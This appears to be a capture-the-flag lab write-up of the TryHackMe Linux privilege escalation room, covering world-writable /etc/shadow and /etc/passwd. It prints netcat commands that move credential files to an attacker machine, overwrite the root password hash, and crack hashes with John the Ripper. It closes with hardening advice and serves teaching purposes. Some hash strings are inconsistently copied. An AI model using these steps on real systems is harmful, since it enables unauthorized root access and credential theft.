

Linux Privilege Escalation: Weak File Permissions

Privilege escalation is one of the most critical phases of a security assessment. This document focuses on Linux environments, highlighting how improper or weak file permission settings can be leveraged by attackers to escalate privileges and gain unauthorized access.

I take tryhackme room: <https://tryhackme.com/room/linuxprivesc>

First connect with the IP address of targeted machine

```
(kali@kali)-[~]
$ ssh -oHostKeyAlgorithms=+ssh-rsa user@10.201.45.42
user@10.201.45.42's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Aug 25 11:13:38 2025 from ip-10-21-244-147.ec2.internal
user@debian:~$
```

Write **ls -la** to see all the list of the files and directory

```
user@debian:~$ ls -la
total 56
drwxr-xr-x 5 user user 4096 May 15 2020 .
drwxr-xr-x 3 root root 4096 May 15 2017 ..
-rw-r--r-- 1 user user 151 Aug 25 11:14 .bash_history
-rw-r--r-- 1 user user 220 May 12 2017 .bash_logout
-rw-r--r-- 1 user user 3235 May 14 2017 .bashrc
drwxr-xr-x 2 user user 4096 May 13 2017 .irssi
drwxr-xr-x 2 user user 4096 May 15 2020 .john
-rw-r--r-- 1 user user 137 May 15 2017 .lessht
-rw-r--r-- 1 user user 212 May 15 2017 myvpn.ovpn
-rw-r--r-- 1 user user 11 May 15 2020 .nano_history
-rw-r--r-- 1 user user 725 May 13 2017 .profile
drwxr-xr-x 8 user user 4096 May 15 2020 tools
-rw-r--r-- 1 user user 6334 May 15 2020 .viminfo
```

There are the files in **/etc/passwd** that stores **basic information about all users** on the system.

There are the files in **/etc/shadow** that stores **hashed passwords** and related security details.

There are the files in **/etc/sudoers** that controls **who can run commands as root or other users** using sudo.

```

user@debian:~$ ls -la /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25 2019 /etc/shadow
user@debian:~$ ls -la /etc/passwd
-rw-r--rw- 1 root root 1009 Aug 25 2019 /etc/passwd
user@debian:~$ ls -la /etc/profile
-rw-r--r-- 1 root root 823 Aug 6 2010 /etc/profile
user@debian:~$ ls -la /etc/sudoers
-r--r----- 1 root root 1016 Aug 25 2019 /etc/sudoers
user@debian:~$ █

```

If you see the /etc/passwd

```

user@debian:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false

```

If you see /etc/profile

```

user@debian:~$ cat /etc/profile
# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).

if [ "`id -u`" -eq 0 ]; then
    PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
else
    PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
fi
export PATH

if [ "$PS1" ]; then
    if [ "$BASH" ]; then
        # The file bash.bashrc already sets the default PS1.
        # PS1='\h:\w\$ '
        if [ -f /etc/bash.bashrc ]; then
            . /etc/bash.bashrc
        fi
    else
        # For non-Bash shells, set the default PS1.
        PS1='\h:\w\$ '
    fi
fi

```

If you see /etc/shadow

```
user@debian:~$ cat /etc/shadow
root:$6$Tb/euwmK$0XA.dwMe0AcopwBl68boTG5zi65wIHsc840WAIye5VITLLtVlaXvRDJXET..it8r.jbrl
pfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon*:17298:0:99999:7:::
bin*:17298:0:99999:7:::
sys*:17298:0:99999:7:::
sync*:17298:0:99999:7:::
games*:17298:0:99999:7:::
man*:17298:0:99999:7:::
lp*:17298:0:99999:7:::
mail*:17298:0:99999:7:::
news*:17298:0:99999:7:::
uucp*:17298:0:99999:7:::
proxy*:17298:0:99999:7:::
www-data*:17298:0:99999:7:::
backup*:17298:0:99999:7:::
list*:17298:0:99999:7:::
irc*:17298:0:99999:7:::
gnats*:17298:0:99999:7:::
nobody*:17298:0:99999:7:::
libuuid!:17298:0:99999:7:::
Debian-exim!:17298:0:99999:7:::
sshd*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aD0ZRFrYirKDW5IJy32FBGjwYpT201
```

Attack Scenario:

If an attacker gets **root privileges by write access** to /etc/shadow, they can **replace the root password hash** and gain persistent root access.

You already see above /etc/shadow in root you see the **HASH** that hash I try to change and get root privilege.

Start **Netcat Listener**:

```
user@debian:~$ nc -nvlp 4000 < /etc/shadow
listening on [any] 4000 ...
```

Establish connection to your **system**:

```
(kali㉿kali)-[~]
$ nc 10.201.45.42 4000 > shadow
```

```
(kali㉿kali)-[~]
$ ls
Desktop  Downloads  Music  Public  Templates
Documents  hunter-ctf  Pictures  shadow  Videos
```

```

(kali㉿kali)-[~]
$ ls
Desktop    Downloads  Linux_privEsec  Pictures  shadow  Videos
Documents  hunter-ctf  Music           Public    Templates

(kali㉿kali)-[~]
$ cat shadow
root:$6$Tb/euwmK$OXA.dwMe0AcopwB168boTG5zi65wIHsc840WAIye5VITLLtVlaXvRDJXET..it8r.jbrl
pfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon*:17298:0:99999:7:::
bin*:17298:0:99999:7:::
sys*:17298:0:99999:7:::
sync*:17298:0:99999:7:::
games*:17298:0:99999:7:::
man*:17298:0:99999:7:::
lp*:17298:0:99999:7:::
mail*:17298:0:99999:7:::
news*:17298:0:99999:7:::
uucp*:17298:0:99999:7:::
proxy*:17298:0:99999:7:::
www-data*:17298:0:99999:7:::
backup*:17298:0:99999:7:::
list*:17298:0:99999:7:::
irc*:17298:0:99999:7:::
gnats*:17298:0:99999:7:::
nobody*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aD0ZRFrYirKDW5IJy32FBGjwYpT201
zrR2xTR0v7wRIkF8.:17298:0:99999:7:::
statd*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::

```

Make a fake hash using OpenSSL

```

(kali㉿kali)-[~]
$ openssl passwd -6 helloRoot
$6$oC6Lt9pQ4CDbsbmN$xeeQduRSacgURBfQBNT/ehVYZgK6AJXgwVmEYzmRNLOakvudGVV4oaEZ/Qkzi3kXD6eQfjkFjJ
HTunRmXMZgz0

```

OpenSSL is an open-source cryptographic library and toolkit that implements the Transport Layer Security (TLS) and Secure Sockets Layer (SSL) protocols to enable secure communication and data encryption on networks.

Key Functions and Features

- TLS/SSL Protocol Implementation
- Cryptographic Library
- Certificate Management
- Key Generation
- Data Integrity and Random Number Generation

Change the **real hash into fake hash**

```
root:$6$oC6Lt9pQ4CDbsbmN$xeeQduRSacgURBfQBNT/ehVYZgK6AJXgwVmEYzmRNLOakvudGVV4oaEZ/Qkzi3kXD6eQf
jkFjJHTunRmXMZgz0:17298:0:99999:7:::
daemon*:17298:0:99999:7:::
bin*:17298:0:99999:7:::
sys*:17298:0:99999:7:::
sync*:17298:0:99999:7:::
games*:17298:0:99999:7:::
man*:17298:0:99999:7:::
lp*:17298:0:99999:7:::
mail*:17298:0:99999:7:::
news*:17298:0:99999:7:::
uucp*:17298:0:99999:7:::
proxy*:17298:0:99999:7:::
www-data*:17298:0:99999:7:::
backup*:17298:0:99999:7:::
list*:17298:0:99999:7:::
irc*:17298:0:99999:7:::
gnats*:17298:0:99999:7:::
nobody*:17298:0:99999:7:::
libuuid!:17298:0:99999:7:::
Debian-exim!:17298:0:99999:7:::
sshd*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT201zrR2xTRO
v7wRIkF8.:17298:0:99999:7:::
statd*:17299:0:99999:7:::
mysql!:18133:0:99999:7:::
```

Then send the file to the target

```
user@debian:~$ nc -nvlp 4000 > /etc/shadow
listening on [any] 4000 ...
```

```
(kali@kali)-[~]
$ nc 10.201.45.42 4000 < shadow
```

Now you can see the hash was changed and file was transferred successfully.

Then you see I able to root login with fake hash.

Password: **helloRoot**

```

user@debian:~$ nc -nvlp 4000 > /etc/shadow
listening on [any] 4000 ...
connect to [10.201.45.42] from (UNKNOWN) [10.21.244.147] 55822
^C
user@debian:~$ cat /etc/shadow
root:$6$0C6Lt9pQ4CDbsbmN$xeeQduRSacgURBfQBNT/ehVYZgK6AJXgwVmEYzmRNLOakvudGVV4oaEZ/Qkzi3kXD6eQf
jkFjJHTunRmXMZgz0:17298:0:99999:7:::
daemon*:17298:0:99999:7:::
bin*:17298:0:99999:7:::
sys*:17298:0:99999:7:::
sync*:17298:0:99999:7:::
games*:17298:0:99999:7:::
man*:17298:0:99999:7:::
lp*:17298:0:99999:7:::
mail*:17298:0:99999:7:::
news*:17298:0:99999:7:::
uucp*:17298:0:99999:7:::
proxy*:17298:0:99999:7:::
www-data*:17298:0:99999:7:::
backup*:17298:0:99999:7:::
list*:17298:0:99999:7:::
irc*:17298:0:99999:7:::
gnats*:17298:0:99999:7:::
nobody*:17298:0:99999:7:::
libuuid!:17298:0:99999:7:::
Debian-exim!:17298:0:99999:7:::
sshd*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFRYirKDW5IJy32FBGjwYpT201zrR2xTRO
v7wRIkF8.:17298:0:99999:7:::
statd*:17299:0:99999:7:::

```

```

user@debian:~$ su root
Password:
root@debian:/home/user# whoami
root
root@debian:/home/user#

```

Attack Scenario:

If an attacker gets **root privileges by Read Permission** to `/etc/shadow`, they cannot directly change the root password but can **steal password hashes**. With these hashes, they can perform **offline cracking** to recover passwords, potentially leading to privilege escalation or lateral movement.

If you are able to find a **hash** then you easily decrypt it and find a correct password.

You can use tools like: **john the ripper**, **hashcat** etc.

```

user@debian:~$ cat /etc/shadow
root:$6$0C6Lt9pQ4CDbsbmN$xeeQduRSacgURBfQBNT/ehVYZgK6AJXgwVmEYzmRNLOakvudGVV4oaEZ/Qkzi3kXD6eQf
jkFjJHTunRmXMZgz0:17298:0:99999:7:::
daemon*:17298:0:99999:7:::
bin*:17298:0:99999:7:::
sys*:17298:0:99999:7:::
sync*:17298:0:99999:7:::
games*:17298:0:99999:7:::
man*:17298:0:99999:7:::
lp*:17298:0:99999:7:::
mail*:17298:0:99999:7:::
news*:17298:0:99999:7:::
uucp*:17298:0:99999:7:::
proxy*:17298:0:99999:7:::
www-data*:17298:0:99999:7:::
backup*:17298:0:99999:7:::
list*:17298:0:99999:7:::
irc*:17298:0:99999:7:::
gnats*:17298:0:99999:7:::
nobody*:17298:0:99999:7:::
libuuid!:17298:0:99999:7:::
Debian-exim!:17298:0:99999:7:::
sshd*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT201zrR2xTRO
v7wRIkF8.:17298:0:99999:7:::
statd*:17298:0:99999:7:::

```

```

(kali@kali)-[~]
$ echo '$6$0C6Lt9pQ4CDbsbmN$xeeQduRSacgURBfQBNT/ehVYZgK6AJXgwVmEYzmRNLOakvudGVV4oaEZ/Qkzi3kX
D6eQfjkFjJHTunRmXMZgz0' > hash
(kali@kali)-[~]
$ ls
Desktop Downloads hunter-ctf Music Public Templates
Documents hash linux_privEsec Pictures shadow Videos

```

```

(kali@kali)-[~]
$ john --wordlist=mini_bruteforce.txt hash

Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 6 candidates left, minimum 8 needed for performance.
helloRoot (??)
1g 0:00:00:00 DONE (2025-08-25 12:56) 100.0g/s 600.0p/s 600.0c/s 600.0C/s ..password321
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

```

user@debian:~$ su root
Password:
root@debian:/home/user# whoami
root
root@debian:/home/user#

```

Attack Scenario:

If attacker gains **write permissions** to **/etc/passwd****, they can create or modify user accounts and effectively gain root access without needing /etc/shadow.

```
user@debian:~$ cat passwd
cat: passwd: No such file or directory
user@debian:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false
```

Start Netcat Listener:

```
user@debian:~$ nc -nvlp 3000 < /etc/passwd
listening on [any] 3000 ...
connect to [10.201.45.42] from (UNKNOWN) [10.21.244.147] 32790
```

```
(kali㉿kali)-[~]
$ nc 10.201.45.42 3000 > passwd
```

Now I remove the 'x' in root and add fake hash as a password.

You can see with this I get root access.

```
(kali@kali)-[~]
$ cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false
```

Make a fake hash

```
(kali@kali)-[~]
$ openssl passwd -6 password123
$6$XZE6vbfXARWYVGRc$6oeUM7lM3Ww3l2JicHiMgVbrv6bBtCdHgJaKaLNgHE1akzD8o8pjv2FFMonaN8TrFxuZxPDJmN
kJgNy94TCoe1

(kali@kali)-[~]
$ vim passwd
```

Paste that fake hash into /etc/passwd file and send it to the target

```
user@debian:~$ nc -nvlp 3000 > /etc/passwd
listening on [any] 3000 ...
connect to [10.201.45.42] from (UNKNOWN) [10.21.244.147] 39900
```

```
(kali@kali)-[~]
$ nc 10.201.45.42 3000 < passwd
```

You see you are able to get root access

```
user@debian:~$ su root
Password:
root@debian:/home/user# whoami
root
root@debian:/home/user#
```

Conclusion

The `/etc/shadow`, `/etc/passwd`, and `/etc/sudoers` files are critical components of Linux system security. Misconfigurations or improper permissions on these files can directly lead to privilege escalation or full system compromise.

- Read access to `/etc/shadow` allows attackers to extract and crack password hashes offline, bypassing account lockout policies.
- Write access to `/etc/passwd` enables attackers to create or modify accounts with root privileges, gaining instant system control.
- Similar risks exist with `/etc/sudoers` misconfigurations, where incorrect rules can provide unauthorized administrative access.

Ensuring strict file permissions, enforcing least privilege principles, and implementing file integrity monitoring are essential steps to protect these files. Regular audits, strong password policies, and the use of modern authentication methods (like PAM, MFA, and strong hashing algorithms) further reduce risk, helping maintain a secure and hardened Linux environment.